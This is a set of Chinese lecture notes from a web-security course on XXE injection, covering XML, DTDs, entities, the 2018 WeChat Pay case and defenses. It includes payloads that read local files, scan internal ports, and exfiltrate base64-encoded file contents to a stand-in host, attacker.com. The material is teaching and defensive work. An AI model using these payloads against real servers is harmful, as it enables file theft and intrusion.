一、XXE漏洞
1. csrf回顾
- CSRF漏洞回顾:上节课学习了CSRF(跨站请求伪造)漏洞,包括其发生原理、危害、攻击方式(如图片标签或隐藏表单)以及防御措施(如DVWA靶场演示的二次验证等防御方式)。
2. XML基础知识
1)XML的用途
- 配置文件:XML常用于编写配置文件(如Spring项目的web.xml),特点是层次分明、结构清晰、扩展方便。
- 数据交换:XML用于不同系统间的数据通信,如商业银行与人民银行对接的二代支付系统报文格式标准。
2)XML内容
- 基本结构:
- 声明部分:第一行是XML声明,定义版本和编码,如<?xml version="1.0" encoding="UTF-8"?>。
- 根元素:必须有唯一的根元素(如<TranInfo>),根元素内可嵌套子元素(如<CdtrInf>、<DbtrInf>等)。
- 子元素:子元素可继续嵌套,形成层次结构。
3)实体ENTITY的使用
- DTD内容之元素
- 元素定义:通过<!ELEMENT>定义XML中允许出现的元素及其嵌套关系,如<!ELEMENT TranInfo (CdtrInf, DbtrInf, Amt)>表示TranInfo必须包含CdtrInf、DbtrInf和Amt三个子元素。
- XML格式要求
- 规范:
- 必须有唯一的根元素。
- 标签必须成对关闭。
- 标签对大小写敏感。
- 元素必须正确嵌套(如内层标签必须先关闭)。
- 属性值必须加引号(如<param-name>webAppRootKey</param-name>)。
- 规范:
- 实体ENTITY的使用
- 作用:实体用于定义可引用的字符或文件,相当于全局变量,便于集中维护和修改。
- 内部实体
- 定义:在XML文件内部通过<!ENTITY 实体名 "值">定义,如<!ENTITY cs "changsha">。
- 引用:用&实体名;引用,如<area>&cs;</area>会被替换为<area>changsha</area>。
- 外部实体
- 定义:通过<!ENTITY 实体名 SYSTEM "URI/URL">引用外部文件内容,如<!ENTITY xxe SYSTEM "file:///D:/test/test.dtd">。
- 关键字:
- SYSTEM:引用本地或私有资源。
- PUBLIC:引用公共资源。
- 注意:浏览器通常不支持直接显示外部实体引用,需在服务器端解析。
- 不同语言支持的协议
- 常用协议:
- file:读取本地文件(如file:///etc/passwd)。
- php:读取PHP文件并编码(如php://filter/read=convert.base64-encode/resource=index.php)。
- http:访问远程资源(如http://attacker.com/evil.dtd)。
- 语言差异:
- PHP需安装扩展支持特定协议(如OpenSSL扩展支持https,Zip扩展支持zip)。
- Java支持file、http、ftp等协议。
- 常用协议:
4)XML格式校验
- DTD作用:通过定义元素和实体的规则(如顺序、嵌套、属性等),自动校验XML格式是否符合规范。
- 实现方式:DTD可以是独立文件,也可内嵌在XML中(如<!DOCTYPE note [...]>)。
二、知识小结
知识点 | 核心内容 | 考试重点/易混淆点 | 难度系数 |
CSRF漏洞回顾 | 跨站请求伪造的定义、代码演示、危害分析、攻击方式(图片标签/隐藏表单)、防御措施(DVWA靶场演示/二次验证) | 防御机制优先级判断:二次验证与其他防御方式的优劣对比 | ⭐⭐ |
XML基础知识 | 可扩展标记语言特性(自定义标签)、两大用途(配置文件/数据交换)、格式规范(根元素/标签闭合/大小写敏感/属性引号) | 与HTML核心差异:标签可扩展性 vs 固定标签集 | ⭐⭐ |
DTD文档类型定义 | 校验XML格式(元素顺序/嵌套规则/属性约束)、两种存在形式(独立文件/XML内嵌) | 实体引用语法:&实体名;的解析优先级 | ⭐⭐⭐ |
实体分类 | 内部实体(字符变量替代)、外部实体(文件引用协议:file/http/php等)、不同语言支持差异(PHP需OpenSSL扩展支持https) | 协议兼容性陷阱:浏览器不解析外部实体的版本限制 | ⭐⭐⭐⭐ |
XXE漏洞原理 | XML外部实体注入攻击路径(恶意DTD引用->敏感文件读取)、无回显攻击技术、利用协议扩展(zip/expect等需特定扩展) | 防御方案对比:输入过滤 vs 禁用外部实体解析 | ⭐⭐⭐⭐⭐ |
实战演示环节 | 二代支付系统XML报文案例、DTD校验失败场景、实体引用效果浏览器兼容性问题 | 靶场环境配置要点:PHP扩展依赖关系管理 | ⭐⭐⭐⭐ |
一、XXE漏洞
1. 例题:XML文件内容替换
- 内部实体演示:通过定义<!ENTITY hacker "无牙test">并在XML中引用&hacker;,成功实现内容替换
- 外部实体原理:将SYSTEM属性值改为file:///e:/in.txt,实体内容会替换为文件内容"乌鸦好爽"
2. XXE定义
- 全称:XML External Entity Injection(XML外部实体注入)
- 核心机制:当Web应用未限制XML引入外部实体时,攻击者可插入会被服务器执行的恶意实体
- 危害类型:
- 任意文件读取(如读取C:/test.dtd)
- 系统命令执行(需安装expect扩展)
- 内网端口探测(如检测3306端口)
- 内网网站攻击(DDOS攻击)
3. 测试代码
1)例题:外部实体读取文件
- 环境要求:必须使用PHP 5.4.45版本,新版默认禁用外部实体解析
- 漏洞验证:
- 结果验证:成功输出文件内容"乌鸦好爽"
2)例题:外部实体探测端口
- 探测原理:通过http协议请求http://127.0.0.1:3307
- 结果判断:
- 返回failed to load表示端口关闭
- 无报错表示端口开放(如3306端口)
- 扫描扩展:可批量探测1-65535端口形成内网扫描
4. 不同语言支持的协议
- PHP:支持file/http/ftp/php/compress等协议
- Java:额外支持jar/netdoc/mailto协议
- .NET:支持最全面,包含gopher等特殊协议
1)例题:微信支付XXE漏洞
- 漏洞场景:2018年微信支付JAVA SDK异步通知接口
- 攻击流程:
- 商户需提供XML格式回调接口
- 攻击者伪造支付成功通知
- 注入恶意实体读取敏感文件
- 实际影响:陌陌、vivo等商户出现"零元购"现象
- 责任争议:微信认定是商户未禁用外部实体导致
2)例题:靶场XXE漏洞
- 检测方法:
- 确认系统使用XML通信
- 插入测试实体<!ENTITY test SYSTEM "http://attacker.com/log">
- 检查服务器是否请求该URL
- 靶场特点:由upload-labs作者c0ny1开发,集成多种CTF题型
二、XXE漏洞原理与实战
1. XXE漏洞定义
- 本质:XML外部实体注入(XML External Entity Injection),由XML组件默认未禁用外部实体引用导致
- 危害场景:当商户接收微信支付回调通知URL的程序代码未遵循安全规范时
- 攻击原理:攻击者通过构造恶意XML,在回调通知中引入外部实体,从而在商户服务器执行系统命令
2. 漏洞危害
- 文件读取:可读取服务器任意文件(如示例中读取E:/in.txt)
- 命令执行:通过特殊构造执行系统命令(如演示中的/bin/sh)
- 内网探测:扫描内网端口和服务(如探测3306端口的MySQL服务)
- 资金风险:微信支付特别强调可能造成商户资金损失
3. 漏洞验证实战
1)基础验证流程
- 步骤1-确认传输格式:通过Burp抓包确认数据以XML格式传输(示例中为<user><username>1</username>结构)
- 步骤2-构造恶意XML:添加DOCTYPE声明和外部实体引用,如:
<?xml version="1.0"?> <!DOCTYPE a [<!ENTITY % d SYSTEM "http://attacker.com/evil.dtd">%d;]>
- 步骤3-结果验证:成功读取系统文件(演示中获取了C:/system.ini内容)
2)无回显利用技术
- 方法1-DNS外带:
- 通过dnslog.cn获取子域名(如wuyatest.wvz90i.dnslog.cn)
- 构造实体指向该域名,如<!ENTITY % remote SYSTEM "http://子域名">
- 观察DNS解析记录验证漏洞存在
- 方法2-HTTP带出:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C:/system.ini"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://attacker.com/?p=%file;'>">
4. 防护措施
- 禁用外部实体:配置XML处理器禁用DTD和外部实体
- 输入过滤:对XML文档进行严格校验
- 使用JSON:在支付回调等场景优先使用JSON格式
- 及时更新:保持XML处理库为最新版本
5. 微信支付特别提醒
- 必须检查的场景:
- 支付成功通知(notify_url)
- 退款成功通知
- 委托代扣签约
- 修复时限:发现漏洞后应立即修复,防止资金损失
三、知识小结
知识点 | 核心内容 | 考试重点/易混淆点 | 难度系数 |
XXE漏洞定义 | XML外部实体注入(XML External Entity Injection),攻击者通过XML文档引入外部实体,可能导致任意文件读取、命令执行等危害 | 区分内部实体与外部实体的解析机制 | ⭐⭐⭐⭐ |
漏洞利用方式 | 1. 通过file://协议读取本地文件; 2. 使用http://协议探测内网端口; 3. 构造XXE炸弹消耗服务器资源 | PHP版本差异:高版本默认禁用外部实体解析 | ⭐⭐⭐⭐⭐ |
漏洞检测方法 | 1. 确认系统使用XML通信; 2. 插入包含外部实体引用的payload; 3. 观察DNS日志或HTTP请求记录 | 无回显时需采用DNSlog或搭建恶意DTD服务器 | ⭐⭐⭐⭐ |
微信支付案例 | 2018年商户回调接口因未过滤XML外部实体,可能导致商户密钥泄露和虚假支付通知 | 责任归属争议:微信官方称系商户配置问题 | ⭐⭐⭐⭐ |
靶场实战演示 | 1. 通过BurpSuite修改XML请求; 2. 注入<!ENTITY xxe SYSTEM "file:///c:/windows/system.ini">; 3. 成功读取系统文件 | 关键步骤:必须同时声明和引用实体 | ⭐⭐⭐⭐⭐ |
防御措施 | 1. 禁用外部实体解析; 2. 升级XML处理器版本; 3. 对输入数据进行严格过滤 | PHP需特别注意libxml库版本配置 | ⭐⭐⭐ |